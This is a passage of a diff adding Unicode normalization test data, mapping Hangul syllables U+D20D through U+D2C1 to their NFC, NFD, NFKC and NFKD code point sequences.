+{ source: [0xD20D], NFC: [0xD20D], NFD: [0x1110, 0x116C, 0x11C0], NFKC: [0xD20D], NFKD: [0x1110, 0x116C, 0x11C0] },
+{ source: [0xD20E], NFC: [0xD20E], NFD: [0x1110, 0x116C, 0x11C1], NFKC: [0xD20E], NFKD: [0x1110, 0x116C, 0x11C1] },
+{ source: [0xD20F], NFC: [0xD20F], NFD: [0x1110, 0x116C, 0x11C2], NFKC: [0xD20F], NFKD: [0x1110, 0x116C, 0x11C2] },
+{ source: [0xD210], NFC: [0xD210], NFD: [0x1110, 0x116D], NFKC: [0xD210], NFKD: [0x1110, 0x116D] },
+{ source: [0xD211], NFC: [0xD211], NFD: [0x1110, 0x116D, 0x11A8], NFKC: [0xD211], NFKD: [0x1110, 0x116D, 0x11A8] },
+{ source: [0xD212], NFC: [0xD212], NFD: [0x1110, 0x116D, 0x11A9], NFKC: [0xD212], NFKD: [0x1110, 0x116D, 0x11A9] },
+{ source: [0xD213], NFC: [0xD213], NFD: [0x1110, 0x116D, 0x11AA], NFKC: [0xD213], NFKD: [0x1110, 0x116D, 0x11AA] },
+{ source: [0xD214], NFC: [0xD214], NFD: [0x1110, 0x116D, 0x11AB], NFKC: [0xD214], NFKD: [0x1110, 0x116D, 0x11AB] },
+{ source: [0xD215], NFC: [0xD215], NFD: [0x1110, 0x116D, 0x11AC], NFKC: [0xD215], NFKD: [0x1110, 0x116D, 0x11AC] },
+{ source: [0xD216], NFC: [0xD216], NFD: [0x1110, 0x116D, 0x11AD], NFKC: [0xD216], NFKD: [0x1110, 0x116D, 0x11AD] },
+{ source: [0xD217], NFC: [0xD217], NFD: [0x1110, 0x116D, 0x11AE], NFKC: [0xD217], NFKD: [0x1110, 0x116D, 0x11AE] },
+{ source: [0xD218], NFC: [0xD218], NFD: [0x1110, 0x116D, 0x11AF], NFKC: [0xD218], NFKD: [0x1110, 0x116D, 0x11AF] },
+{ source: [0xD219], NFC: [0xD219], NFD: [0x1110, 0x116D, 0x11B0], NFKC: [0xD219], NFKD: [0x1110, 0x116D, 0x11B0] },
+{ source: [0xD21A], NFC: [0xD21A], NFD: [0x1110, 0x116D, 0x11B1], NFKC: [0xD21A], NFKD: [0x1110, 0x116D, 0x11B1] },
+{ source: [0xD21B], NFC: [0xD21B], NFD: [0x1110, 0x116D, 0x11B2], NFKC: [0xD21B], NFKD: [0x1110, 0x116D, 0x11B2] },
+{ source: [0xD21C], NFC: [0xD21C], NFD: [0x1110, 0x116D, 0x11B3], NFKC: [0xD21C], NFKD: [0x1110, 0x116D, 0x11B3] },
+{ source: [0xD21D], NFC: [0xD21D], NFD: [0x1110, 0x116D, 0x11B4], NFKC: [0xD21D], NFKD: [0x1110, 0x116D, 0x11B4] },
+{ source: [0xD21E], NFC: [0xD21E], NFD: [0x1110, 0x116D, 0x11B5], NFKC: [0xD21E], NFKD: [0x1110, 0x116D, 0x11B5] },
+{ source: [0xD21F], NFC: [0xD21F], NFD: [0x1110, 0x116D, 0x11B6], NFKC: [0xD21F], NFKD: [0x1110, 0x116D, 0x11B6] },
+{ source: [0xD220], NFC: [0xD220], NFD: [0x1110, 0x116D, 0x11B7], NFKC: [0xD220], NFKD: [0x1110, 0x116D, 0x11B7] },
+{ source: [0xD221], NFC: [0xD221], NFD: [0x1110, 0x116D, 0x11B8], NFKC: [0xD221], NFKD: [0x1110, 0x116D, 0x11B8] },
+{ source: [0xD222], NFC: [0xD222], NFD: [0x1110, 0x116D, 0x11B9], NFKC: [0xD222], NFKD: [0x1110, 0x116D, 0x11B9] },
+{ source: [0xD223], NFC: [0xD223], NFD: [0x1110, 0x116D, 0x11BA], NFKC: [0xD223], NFKD: [0x1110, 0x116D, 0x11BA] },
+{ source: [0xD224], NFC: [0xD224], NFD: [0x1110, 0x116D, 0x11BB], NFKC: [0xD224], NFKD: [0x1110, 0x116D, 0x11BB] },
+{ source: [0xD225], NFC: [0xD225], NFD: [0x1110, 0x116D, 0x11BC], NFKC: [0xD225], NFKD: [0x1110, 0x116D, 0x11BC] },
+{ source: [0xD226], NFC: [0xD226], NFD: [0x1110, 0x116D, 0x11BD], NFKC: [0xD226], NFKD: [0x1110, 0x116D, 0x11BD] },
+{ source: [0xD227], NFC: [0xD227], NFD: [0x1110, 0x116D, 0x11BE], NFKC: [0xD227], NFKD: [0x1110, 0x116D, 0x11BE] },
+{ source: [0xD228], NFC: [0xD228], NFD: [0x1110, 0x116D, 0x11BF], NFKC: [0xD228], NFKD: [0x1110, 0x116D, 0x11BF] },
+{ source: [0xD229], NFC: [0xD229], NFD: [0x1110, 0x116D, 0x11C0], NFKC: [0xD229], NFKD: [0x1110, 0x116D, 0x11C0] },
+{ source: [0xD22A], NFC: [0xD22A], NFD: [0x1110, 0x116D, 0x11C1], NFKC: [0xD22A], NFKD: [0x1110, 0x116D, 0x11C1] },
+{ source: [0xD22B], NFC: [0xD22B], NFD: [0x1110, 0x116D, 0x11C2], NFKC: [0xD22B], NFKD: [0x1110, 0x116D, 0x11C2] },
+{ source: [0xD22C], NFC: [0xD22C], NFD: [0x1110, 0x116E], NFKC: [0xD22C], NFKD: [0x1110, 0x116E] },
+{ source: [0xD22D], NFC: [0xD22D], NFD: [0x1110, 0x116E, 0x11A8], NFKC: [0xD22D], NFKD: [0x1110, 0x116E, 0x11A8] },
+{ source: [0xD22E], NFC: [0xD22E], NFD: [0x1110, 0x116E, 0x11A9], NFKC: [0xD22E], NFKD: [0x1110, 0x116E, 0x11A9] },
+{ source: [0xD22F], NFC: [0xD22F], NFD: [0x1110, 0x116E, 0x11AA], NFKC: [0xD22F], NFKD: [0x1110, 0x116E, 0x11AA] },
+{ source: [0xD230], NFC: [0xD230], NFD: [0x1110, 0x116E, 0x11AB], NFKC: [0xD230], NFKD: [0x1110, 0x116E, 0x11AB] },
+{ source: [0xD231], NFC: [0xD231], NFD: [0x1110, 0x116E, 0x11AC], NFKC: [0xD231], NFKD: [0x1110, 0x116E, 0x11AC] },
+{ source: [0xD232], NFC: [0xD232], NFD: [0x1110, 0x116E, 0x11AD], NFKC: [0xD232], NFKD: [0x1110, 0x116E, 0x11AD] },
+{ source: [0xD233], NFC: [0xD233], NFD: [0x1110, 0x116E, 0x11AE], NFKC: [0xD233], NFKD: [0x1110, 0x116E, 0x11AE] },
+{ source: [0xD234], NFC: [0xD234], NFD: [0x1110, 0x116E, 0x11AF], NFKC: [0xD234], NFKD: [0x1110, 0x116E, 0x11AF] },
+{ source: [0xD235], NFC: [0xD235], NFD: [0x1110, 0x116E, 0x11B0], NFKC: [0xD235], NFKD: [0x1110, 0x116E, 0x11B0] },
+{ source: [0xD236], NFC: [0xD236], NFD: [0x1110, 0x116E, 0x11B1], NFKC: [0xD236], NFKD: [0x1110, 0x116E, 0x11B1] },
+{ source: [0xD237], NFC: [0xD237], NFD: [0x1110, 0x116E, 0x11B2], NFKC: [0xD237], NFKD: [0x1110, 0x116E, 0x11B2] },
+{ source: [0xD238], NFC: [0xD238], NFD: [0x1110, 0x116E, 0x11B3], NFKC: [0xD238], NFKD: [0x1110, 0x116E, 0x11B3] },
+{ source: [0xD239], NFC: [0xD239], NFD: [0x1110, 0x116E, 0x11B4], NFKC: [0xD239], NFKD: [0x1110, 0x116E, 0x11B4] },
+{ source: [0xD23A], NFC: [0xD23A], NFD: [0x1110, 0x116E, 0x11B5], NFKC: [0xD23A], NFKD: [0x1110, 0x116E, 0x11B5] },
+{ source: [0xD23B], NFC: [0xD23B], NFD: [0x1110, 0x116E, 0x11B6], NFKC: [0xD23B], NFKD: [0x1110, 0x116E, 0x11B6] },
+{ source: [0xD23C], NFC: [0xD23C], NFD: [0x1110, 0x116E, 0x11B7], NFKC: [0xD23C], NFKD: [0x1110, 0x116E, 0x11B7] },
+{ source: [0xD23D], NFC: [0xD23D], NFD: [0x1110, 0x116E, 0x11B8], NFKC: [0xD23D], NFKD: [0x1110, 0x116E, 0x11B8] },
+{ source: [0xD23E], NFC: [0xD23E], NFD: [0x1110, 0x116E, 0x11B9], NFKC: [0xD23E], NFKD: [0x1110, 0x116E, 0x11B9] },
+{ source: [0xD23F], NFC: [0xD23F], NFD: [0x1110, 0x116E, 0x11BA], NFKC: [0xD23F], NFKD: [0x1110, 0x116E, 0x11BA] },
+{ source: [0xD240], NFC: [0xD240], NFD: [0x1110, 0x116E, 0x11BB], NFKC: [0xD240], NFKD: [0x1110, 0x116E, 0x11BB] },
+{ source: [0xD241], NFC: [0xD241], NFD: [0x1110, 0x116E, 0x11BC], NFKC: [0xD241], NFKD: [0x1110, 0x116E, 0x11BC] },
+{ source: [0xD242], NFC: [0xD242], NFD: [0x1110, 0x116E, 0x11BD], NFKC: [0xD242], NFKD: [0x1110, 0x116E, 0x11BD] },
+{ source: [0xD243], NFC: [0xD243], NFD: [0x1110, 0x116E, 0x11BE], NFKC: [0xD243], NFKD: [0x1110, 0x116E, 0x11BE] },
+{ source: [0xD244], NFC: [0xD244], NFD: [0x1110, 0x116E, 0x11BF], NFKC: [0xD244], NFKD: [0x1110, 0x116E, 0x11BF] },
+{ source: [0xD245], NFC: [0xD245], NFD: [0x1110, 0x116E, 0x11C0], NFKC: [0xD245], NFKD: [0x1110, 0x116E, 0x11C0] },
+{ source: [0xD246], NFC: [0xD246], NFD: [0x1110, 0x116E, 0x11C1], NFKC: [0xD246], NFKD: [0x1110, 0x116E, 0x11C1] },
+{ source: [0xD247], NFC: [0xD247], NFD: [0x1110, 0x116E, 0x11C2], NFKC: [0xD247], NFKD: [0x1110, 0x116E, 0x11C2] },
+{ source: [0xD248], NFC: [0xD248], NFD: [0x1110, 0x116F], NFKC: [0xD248], NFKD: [0x1110, 0x116F] },
+{ source: [0xD249], NFC: [0xD249], NFD: [0x1110, 0x116F, 0x11A8], NFKC: [0xD249], NFKD: [0x1110, 0x116F, 0x11A8] },
+{ source: [0xD24A], NFC: [0xD24A], NFD: [0x1110, 0x116F, 0x11A9], NFKC: [0xD24A], NFKD: [0x1110, 0x116F, 0x11A9] },
+{ source: [0xD24B], NFC: [0xD24B], NFD: [0x1110, 0x116F, 0x11AA], NFKC: [0xD24B], NFKD: [0x1110, 0x116F, 0x11AA] },
+{ source: [0xD24C], NFC: [0xD24C], NFD: [0x1110, 0x116F, 0x11AB], NFKC: [0xD24C], NFKD: [0x1110, 0x116F, 0x11AB] },
+{ source: [0xD24D], NFC: [0xD24D], NFD: [0x1110, 0x116F, 0x11AC], NFKC: [0xD24D], NFKD: [0x1110, 0x116F, 0x11AC] },
+{ source: [0xD24E], NFC: [0xD24E], NFD: [0x1110, 0x116F, 0x11AD], NFKC: [0xD24E], NFKD: [0x1110, 0x116F, 0x11AD] },
+{ source: [0xD24F], NFC: [0xD24F], NFD: [0x1110, 0x116F, 0x11AE], NFKC: [0xD24F], NFKD: [0x1110, 0x116F, 0x11AE] },
+{ source: [0xD250], NFC: [0xD250], NFD: [0x1110, 0x116F, 0x11AF], NFKC: [0xD250], NFKD: [0x1110, 0x116F, 0x11AF] },
+{ source: [0xD251], NFC: [0xD251], NFD: [0x1110, 0x116F, 0x11B0], NFKC: [0xD251], NFKD: [0x1110, 0x116F, 0x11B0] },
+{ source: [0xD252], NFC: [0xD252], NFD: [0x1110, 0x116F, 0x11B1], NFKC: [0xD252], NFKD: [0x1110, 0x116F, 0x11B1] },
+{ source: [0xD253], NFC: [0xD253], NFD: [0x1110, 0x116F, 0x11B2], NFKC: [0xD253], NFKD: [0x1110, 0x116F, 0x11B2] },
+{ source: [0xD254], NFC: [0xD254], NFD: [0x1110, 0x116F, 0x11B3], NFKC: [0xD254], NFKD: [0x1110, 0x116F, 0x11B3] },
+{ source: [0xD255], NFC: [0xD255], NFD: [0x1110, 0x116F, 0x11B4], NFKC: [0xD255], NFKD: [0x1110, 0x116F, 0x11B4] },
+{ source: [0xD256], NFC: [0xD256], NFD: [0x1110, 0x116F, 0x11B5], NFKC: [0xD256], NFKD: [0x1110, 0x116F, 0x11B5] },
+{ source: [0xD257], NFC: [0xD257], NFD: [0x1110, 0x116F, 0x11B6], NFKC: [0xD257], NFKD: [0x1110, 0x116F, 0x11B6] },
+{ source: [0xD258], NFC: [0xD258], NFD: [0x1110, 0x116F, 0x11B7], NFKC: [0xD258], NFKD: [0x1110, 0x116F, 0x11B7] },
+{ source: [0xD259], NFC: [0xD259], NFD: [0x1110, 0x116F, 0x11B8], NFKC: [0xD259], NFKD: [0x1110, 0x116F, 0x11B8] },
+{ source: [0xD25A], NFC: [0xD25A], NFD: [0x1110, 0x116F, 0x11B9], NFKC: [0xD25A], NFKD: [0x1110, 0x116F, 0x11B9] },
+{ source: [0xD25B], NFC: [0xD25B], NFD: [0x1110, 0x116F, 0x11BA], NFKC: [0xD25B], NFKD: [0x1110, 0x116F, 0x11BA] },
+{ source: [0xD25C], NFC: [0xD25C], NFD: [0x1110, 0x116F, 0x11BB], NFKC: [0xD25C], NFKD: [0x1110, 0x116F, 0x11BB] },
+{ source: [0xD25D], NFC: [0xD25D], NFD: [0x1110, 0x116F, 0x11BC], NFKC: [0xD25D], NFKD: [0x1110, 0x116F, 0x11BC] },
+{ source: [0xD25E], NFC: [0xD25E], NFD: [0x1110, 0x116F, 0x11BD], NFKC: [0xD25E], NFKD: [0x1110, 0x116F, 0x11BD] },
+{ source: [0xD25F], NFC: [0xD25F], NFD: [0x1110, 0x116F, 0x11BE], NFKC: [0xD25F], NFKD: [0x1110, 0x116F, 0x11BE] },
+{ source: [0xD260], NFC: [0xD260], NFD: [0x1110, 0x116F, 0x11BF], NFKC: [0xD260], NFKD: [0x1110, 0x116F, 0x11BF] },
+{ source: [0xD261], NFC: [0xD261], NFD: [0x1110, 0x116F, 0x11C0], NFKC: [0xD261], NFKD: [0x1110, 0x116F, 0x11C0] },
+{ source: [0xD262], NFC: [0xD262], NFD: [0x1110, 0x116F, 0x11C1], NFKC: [0xD262], NFKD: [0x1110, 0x116F, 0x11C1] },
+{ source: [0xD263], NFC: [0xD263], NFD: [0x1110, 0x116F, 0x11C2], NFKC: [0xD263], NFKD: [0x1110, 0x116F, 0x11C2] },
+{ source: [0xD264], NFC: [0xD264], NFD: [0x1110, 0x1170], NFKC: [0xD264], NFKD: [0x1110, 0x1170] },
+{ source: [0xD265], NFC: [0xD265], NFD: [0x1110, 0x1170, 0x11A8], NFKC: [0xD265], NFKD: [0x1110, 0x1170, 0x11A8] },
+{ source: [0xD266], NFC: [0xD266], NFD: [0x1110, 0x1170, 0x11A9], NFKC: [0xD266], NFKD: [0x1110, 0x1170, 0x11A9] },
+{ source: [0xD267], NFC: [0xD267], NFD: [0x1110, 0x1170, 0x11AA], NFKC: [0xD267], NFKD: [0x1110, 0x1170, 0x11AA] },
+{ source: [0xD268], NFC: [0xD268], NFD: [0x1110, 0x1170, 0x11AB], NFKC: [0xD268], NFKD: [0x1110, 0x1170, 0x11AB] },
+{ source: [0xD269], NFC: [0xD269], NFD: [0x1110, 0x1170, 0x11AC], NFKC: [0xD269], NFKD: [0x1110, 0x1170, 0x11AC] },
+{ source: [0xD26A], NFC: [0xD26A], NFD: [0x1110, 0x1170, 0x11AD], NFKC: [0xD26A], NFKD: [0x1110, 0x1170, 0x11AD] },
+{ source: [0xD26B], NFC: [0xD26B], NFD: [0x1110, 0x1170, 0x11AE], NFKC: [0xD26B], NFKD: [0x1110, 0x1170, 0x11AE] },
+{ source: [0xD26C], NFC: [0xD26C], NFD: [0x1110, 0x1170, 0x11AF], NFKC: [0xD26C], NFKD: [0x1110, 0x1170, 0x11AF] },
+{ source: [0xD26D], NFC: [0xD26D], NFD: [0x1110, 0x1170, 0x11B0], NFKC: [0xD26D], NFKD: [0x1110, 0x1170, 0x11B0] },
+{ source: [0xD26E], NFC: [0xD26E], NFD: [0x1110, 0x1170, 0x11B1], NFKC: [0xD26E], NFKD: [0x1110, 0x1170, 0x11B1] },
+{ source: [0xD26F], NFC: [0xD26F], NFD: [0x1110, 0x1170, 0x11B2], NFKC: [0xD26F], NFKD: [0x1110, 0x1170, 0x11B2] },
+{ source: [0xD270], NFC: [0xD270], NFD: [0x1110, 0x1170, 0x11B3], NFKC: [0xD270], NFKD: [0x1110, 0x1170, 0x11B3] },
+{ source: [0xD271], NFC: [0xD271], NFD: [0x1110, 0x1170, 0x11B4], NFKC: [0xD271], NFKD: [0x1110, 0x1170, 0x11B4] },
+{ source: [0xD272], NFC: [0xD272], NFD: [0x1110, 0x1170, 0x11B5], NFKC: [0xD272], NFKD: [0x1110, 0x1170, 0x11B5] },
+{ source: [0xD273], NFC: [0xD273], NFD: [0x1110, 0x1170, 0x11B6], NFKC: [0xD273], NFKD: [0x1110, 0x1170, 0x11B6] },
+{ source: [0xD274], NFC: [0xD274], NFD: [0x1110, 0x1170, 0x11B7], NFKC: [0xD274], NFKD: [0x1110, 0x1170, 0x11B7] },
+{ source: [0xD275], NFC: [0xD275], NFD: [0x1110, 0x1170, 0x11B8], NFKC: [0xD275], NFKD: [0x1110, 0x1170, 0x11B8] },
+{ source: [0xD276], NFC: [0xD276], NFD: [0x1110, 0x1170, 0x11B9], NFKC: [0xD276], NFKD: [0x1110, 0x1170, 0x11B9] },
+{ source: [0xD277], NFC: [0xD277], NFD: [0x1110, 0x1170, 0x11BA], NFKC: [0xD277], NFKD: [0x1110, 0x1170, 0x11BA] },
+{ source: [0xD278], NFC: [0xD278], NFD: [0x1110, 0x1170, 0x11BB], NFKC: [0xD278], NFKD: [0x1110, 0x1170, 0x11BB] },
+{ source: [0xD279], NFC: [0xD279], NFD: [0x1110, 0x1170, 0x11BC], NFKC: [0xD279], NFKD: [0x1110, 0x1170, 0x11BC] },
+{ source: [0xD27A], NFC: [0xD27A], NFD: [0x1110, 0x1170, 0x11BD], NFKC: [0xD27A], NFKD: [0x1110, 0x1170, 0x11BD] },
+{ source: [0xD27B], NFC: [0xD27B], NFD: [0x1110, 0x1170, 0x11BE], NFKC: [0xD27B], NFKD: [0x1110, 0x1170, 0x11BE] },
+{ source: [0xD27C], NFC: [0xD27C], NFD: [0x1110, 0x1170, 0x11BF], NFKC: [0xD27C], NFKD: [0x1110, 0x1170, 0x11BF] },
+{ source: [0xD27D], NFC: [0xD27D], NFD: [0x1110, 0x1170, 0x11C0], NFKC: [0xD27D], NFKD: [0x1110, 0x1170, 0x11C0] },
+{ source: [0xD27E], NFC: [0xD27E], NFD: [0x1110, 0x1170, 0x11C1], NFKC: [0xD27E], NFKD: [0x1110, 0x1170, 0x11C1] },
+{ source: [0xD27F], NFC: [0xD27F], NFD: [0x1110, 0x1170, 0x11C2], NFKC: [0xD27F], NFKD: [0x1110, 0x1170, 0x11C2] },
+{ source: [0xD280], NFC: [0xD280], NFD: [0x1110, 0x1171], NFKC: [0xD280], NFKD: [0x1110, 0x1171] },
+{ source: [0xD281], NFC: [0xD281], NFD: [0x1110, 0x1171, 0x11A8], NFKC: [0xD281], NFKD: [0x1110, 0x1171, 0x11A8] },
+{ source: [0xD282], NFC: [0xD282], NFD: [0x1110, 0x1171, 0x11A9], NFKC: [0xD282], NFKD: [0x1110, 0x1171, 0x11A9] },
+{ source: [0xD283], NFC: [0xD283], NFD: [0x1110, 0x1171, 0x11AA], NFKC: [0xD283], NFKD: [0x1110, 0x1171, 0x11AA] },
+{ source: [0xD284], NFC: [0xD284], NFD: [0x1110, 0x1171, 0x11AB], NFKC: [0xD284], NFKD: [0x1110, 0x1171, 0x11AB] },
+{ source: [0xD285], NFC: [0xD285], NFD: [0x1110, 0x1171, 0x11AC], NFKC: [0xD285], NFKD: [0x1110, 0x1171, 0x11AC] },
+{ source: [0xD286], NFC: [0xD286], NFD: [0x1110, 0x1171, 0x11AD], NFKC: [0xD286], NFKD: [0x1110, 0x1171, 0x11AD] },
+{ source: [0xD287], NFC: [0xD287], NFD: [0x1110, 0x1171, 0x11AE], NFKC: [0xD287], NFKD: [0x1110, 0x1171, 0x11AE] },
+{ source: [0xD288], NFC: [0xD288], NFD: [0x1110, 0x1171, 0x11AF], NFKC: [0xD288], NFKD: [0x1110, 0x1171, 0x11AF] },
+{ source: [0xD289], NFC: [0xD289], NFD: [0x1110, 0x1171, 0x11B0], NFKC: [0xD289], NFKD: [0x1110, 0x1171, 0x11B0] },
+{ source: [0xD28A], NFC: [0xD28A], NFD: [0x1110, 0x1171, 0x11B1], NFKC: [0xD28A], NFKD: [0x1110, 0x1171, 0x11B1] },
+{ source: [0xD28B], NFC: [0xD28B], NFD: [0x1110, 0x1171, 0x11B2], NFKC: [0xD28B], NFKD: [0x1110, 0x1171, 0x11B2] },
+{ source: [0xD28C], NFC: [0xD28C], NFD: [0x1110, 0x1171, 0x11B3], NFKC: [0xD28C], NFKD: [0x1110, 0x1171, 0x11B3] },
+{ source: [0xD28D], NFC: [0xD28D], NFD: [0x1110, 0x1171, 0x11B4], NFKC: [0xD28D], NFKD: [0x1110, 0x1171, 0x11B4] },
+{ source: [0xD28E], NFC: [0xD28E], NFD: [0x1110, 0x1171, 0x11B5], NFKC: [0xD28E], NFKD: [0x1110, 0x1171, 0x11B5] },
+{ source: [0xD28F], NFC: [0xD28F], NFD: [0x1110, 0x1171, 0x11B6], NFKC: [0xD28F], NFKD: [0x1110, 0x1171, 0x11B6] },
+{ source: [0xD290], NFC: [0xD290], NFD: [0x1110, 0x1171, 0x11B7], NFKC: [0xD290], NFKD: [0x1110, 0x1171, 0x11B7] },
+{ source: [0xD291], NFC: [0xD291], NFD: [0x1110, 0x1171, 0x11B8], NFKC: [0xD291], NFKD: [0x1110, 0x1171, 0x11B8] },
+{ source: [0xD292], NFC: [0xD292], NFD: [0x1110, 0x1171, 0x11B9], NFKC: [0xD292], NFKD: [0x1110, 0x1171, 0x11B9] },
+{ source: [0xD293], NFC: [0xD293], NFD: [0x1110, 0x1171, 0x11BA], NFKC: [0xD293], NFKD: [0x1110, 0x1171, 0x11BA] },
+{ source: [0xD294], NFC: [0xD294], NFD: [0x1110, 0x1171, 0x11BB], NFKC: [0xD294], NFKD: [0x1110, 0x1171, 0x11BB] },
+{ source: [0xD295], NFC: [0xD295], NFD: [0x1110, 0x1171, 0x11BC], NFKC: [0xD295], NFKD: [0x1110, 0x1171, 0x11BC] },
+{ source: [0xD296], NFC: [0xD296], NFD: [0x1110, 0x1171, 0x11BD], NFKC: [0xD296], NFKD: [0x1110, 0x1171, 0x11BD] },
+{ source: [0xD297], NFC: [0xD297], NFD: [0x1110, 0x1171, 0x11BE], NFKC: [0xD297], NFKD: [0x1110, 0x1171, 0x11BE] },
+{ source: [0xD298], NFC: [0xD298], NFD: [0x1110, 0x1171, 0x11BF], NFKC: [0xD298], NFKD: [0x1110, 0x1171, 0x11BF] },
+{ source: [0xD299], NFC: [0xD299], NFD: [0x1110, 0x1171, 0x11C0], NFKC: [0xD299], NFKD: [0x1110, 0x1171, 0x11C0] },
+{ source: [0xD29A], NFC: [0xD29A], NFD: [0x1110, 0x1171, 0x11C1], NFKC: [0xD29A], NFKD: [0x1110, 0x1171, 0x11C1] },
+{ source: [0xD29B], NFC: [0xD29B], NFD: [0x1110, 0x1171, 0x11C2], NFKC: [0xD29B], NFKD: [0x1110, 0x1171, 0x11C2] },
+{ source: [0xD29C], NFC: [0xD29C], NFD: [0x1110, 0x1172], NFKC: [0xD29C], NFKD: [0x1110, 0x1172] },
+{ source: [0xD29D], NFC: [0xD29D], NFD: [0x1110, 0x1172, 0x11A8], NFKC: [0xD29D], NFKD: [0x1110, 0x1172, 0x11A8] },
+{ source: [0xD29E], NFC: [0xD29E], NFD: [0x1110, 0x1172, 0x11A9], NFKC: [0xD29E], NFKD: [0x1110, 0x1172, 0x11A9] },
+{ source: [0xD29F], NFC: [0xD29F], NFD: [0x1110, 0x1172, 0x11AA], NFKC: [0xD29F], NFKD: [0x1110, 0x1172, 0x11AA] },
+{ source: [0xD2A0], NFC: [0xD2A0], NFD: [0x1110, 0x1172, 0x11AB], NFKC: [0xD2A0], NFKD: [0x1110, 0x1172, 0x11AB] },
+{ source: [0xD2A1], NFC: [0xD2A1], NFD: [0x1110, 0x1172, 0x11AC], NFKC: [0xD2A1], NFKD: [0x1110, 0x1172, 0x11AC] },
+{ source: [0xD2A2], NFC: [0xD2A2], NFD: [0x1110, 0x1172, 0x11AD], NFKC: [0xD2A2], NFKD: [0x1110, 0x1172, 0x11AD] },
+{ source: [0xD2A3], NFC: [0xD2A3], NFD: [0x1110, 0x1172, 0x11AE], NFKC: [0xD2A3], NFKD: [0x1110, 0x1172, 0x11AE] },
+{ source: [0xD2A4], NFC: [0xD2A4], NFD: [0x1110, 0x1172, 0x11AF], NFKC: [0xD2A4], NFKD: [0x1110, 0x1172, 0x11AF] },
+{ source: [0xD2A5], NFC: [0xD2A5], NFD: [0x1110, 0x1172, 0x11B0], NFKC: [0xD2A5], NFKD: [0x1110, 0x1172, 0x11B0] },
+{ source: [0xD2A6], NFC: [0xD2A6], NFD: [0x1110, 0x1172, 0x11B1], NFKC: [0xD2A6], NFKD: [0x1110, 0x1172, 0x11B1] },
+{ source: [0xD2A7], NFC: [0xD2A7], NFD: [0x1110, 0x1172, 0x11B2], NFKC: [0xD2A7], NFKD: [0x1110, 0x1172, 0x11B2] },
+{ source: [0xD2A8], NFC: [0xD2A8], NFD: [0x1110, 0x1172, 0x11B3], NFKC: [0xD2A8], NFKD: [0x1110, 0x1172, 0x11B3] },
+{ source: [0xD2A9], NFC: [0xD2A9], NFD: [0x1110, 0x1172, 0x11B4], NFKC: [0xD2A9], NFKD: [0x1110, 0x1172, 0x11B4] },
+{ source: [0xD2AA], NFC: [0xD2AA], NFD: [0x1110, 0x1172, 0x11B5], NFKC: [0xD2AA], NFKD: [0x1110, 0x1172, 0x11B5] },
+{ source: [0xD2AB], NFC: [0xD2AB], NFD: [0x1110, 0x1172, 0x11B6], NFKC: [0xD2AB], NFKD: [0x1110, 0x1172, 0x11B6] },
+{ source: [0xD2AC], NFC: [0xD2AC], NFD: [0x1110, 0x1172, 0x11B7], NFKC: [0xD2AC], NFKD: [0x1110, 0x1172, 0x11B7] },
+{ source: [0xD2AD], NFC: [0xD2AD], NFD: [0x1110, 0x1172, 0x11B8], NFKC: [0xD2AD], NFKD: [0x1110, 0x1172, 0x11B8] },
+{ source: [0xD2AE], NFC: [0xD2AE], NFD: [0x1110, 0x1172, 0x11B9], NFKC: [0xD2AE], NFKD: [0x1110, 0x1172, 0x11B9] },
+{ source: [0xD2AF], NFC: [0xD2AF], NFD: [0x1110, 0x1172, 0x11BA], NFKC: [0xD2AF], NFKD: [0x1110, 0x1172, 0x11BA] },
+{ source: [0xD2B0], NFC: [0xD2B0], NFD: [0x1110, 0x1172, 0x11BB], NFKC: [0xD2B0], NFKD: [0x1110, 0x1172, 0x11BB] },
+{ source: [0xD2B1], NFC: [0xD2B1], NFD: [0x1110, 0x1172, 0x11BC], NFKC: [0xD2B1], NFKD: [0x1110, 0x1172, 0x11BC] },
+{ source: [0xD2B2], NFC: [0xD2B2], NFD: [0x1110, 0x1172, 0x11BD], NFKC: [0xD2B2], NFKD: [0x1110, 0x1172, 0x11BD] },
+{ source: [0xD2B3], NFC: [0xD2B3], NFD: [0x1110, 0x1172, 0x11BE], NFKC: [0xD2B3], NFKD: [0x1110, 0x1172, 0x11BE] },
+{ source: [0xD2B4], NFC: [0xD2B4], NFD: [0x1110, 0x1172, 0x11BF], NFKC: [0xD2B4], NFKD: [0x1110, 0x1172, 0x11BF] },
+{ source: [0xD2B5], NFC: [0xD2B5], NFD: [0x1110, 0x1172, 0x11C0], NFKC: [0xD2B5], NFKD: [0x1110, 0x1172, 0x11C0] },
+{ source: [0xD2B6], NFC: [0xD2B6], NFD: [0x1110, 0x1172, 0x11C1], NFKC: [0xD2B6], NFKD: [0x1110, 0x1172, 0x11C1] },
+{ source: [0xD2B7], NFC: [0xD2B7], NFD: [0x1110, 0x1172, 0x11C2], NFKC: [0xD2B7], NFKD: [0x1110, 0x1172, 0x11C2] },
+{ source: [0xD2B8], NFC: [0xD2B8], NFD: [0x1110, 0x1173], NFKC: [0xD2B8], NFKD: [0x1110, 0x1173] },
+{ source: [0xD2B9], NFC: [0xD2B9], NFD: [0x1110, 0x1173, 0x11A8], NFKC: [0xD2B9], NFKD: [0x1110, 0x1173, 0x11A8] },
+{ source: [0xD2BA], NFC: [0xD2BA], NFD: [0x1110, 0x1173, 0x11A9], NFKC: [0xD2BA], NFKD: [0x1110, 0x1173, 0x11A9] },
+{ source: [0xD2BB], NFC: [0xD2BB], NFD: [0x1110, 0x1173, 0x11AA], NFKC: [0xD2BB], NFKD: [0x1110, 0x1173, 0x11AA] },
+{ source: [0xD2BC], NFC: [0xD2BC], NFD: [0x1110, 0x1173, 0x11AB], NFKC: [0xD2BC], NFKD: [0x1110, 0x1173, 0x11AB] },
+{ source: [0xD2BD], NFC: [0xD2BD], NFD: [0x1110, 0x1173, 0x11AC], NFKC: [0xD2BD], NFKD: [0x1110, 0x1173, 0x11AC] },
+{ source: [0xD2BE], NFC: [0xD2BE], NFD: [0x1110, 0x1173, 0x11AD], NFKC: [0xD2BE], NFKD: [0x1110, 0x1173, 0x11AD] },
+{ source: [0xD2BF], NFC: [0xD2BF], NFD: [0x1110, 0x1173, 0x11AE], NFKC: [0xD2BF], NFKD: [0x1110, 0x1173, 0x11AE] },
+{ source: [0xD2C0], NFC: [0xD2C0], NFD: [0x1110, 0x1173, 0x11AF], NFKC: [0xD2C0], NFKD: [0x1110, 0x1173, 0x11AF] },
+{ source: [0xD2C1], NFC: [0xD2C1], NFD: [0x1110, 0x1173, 0x11B0], NFKC: [0xD2C1], NFKD: [0x1110, 0x1173, 0x11B0] },
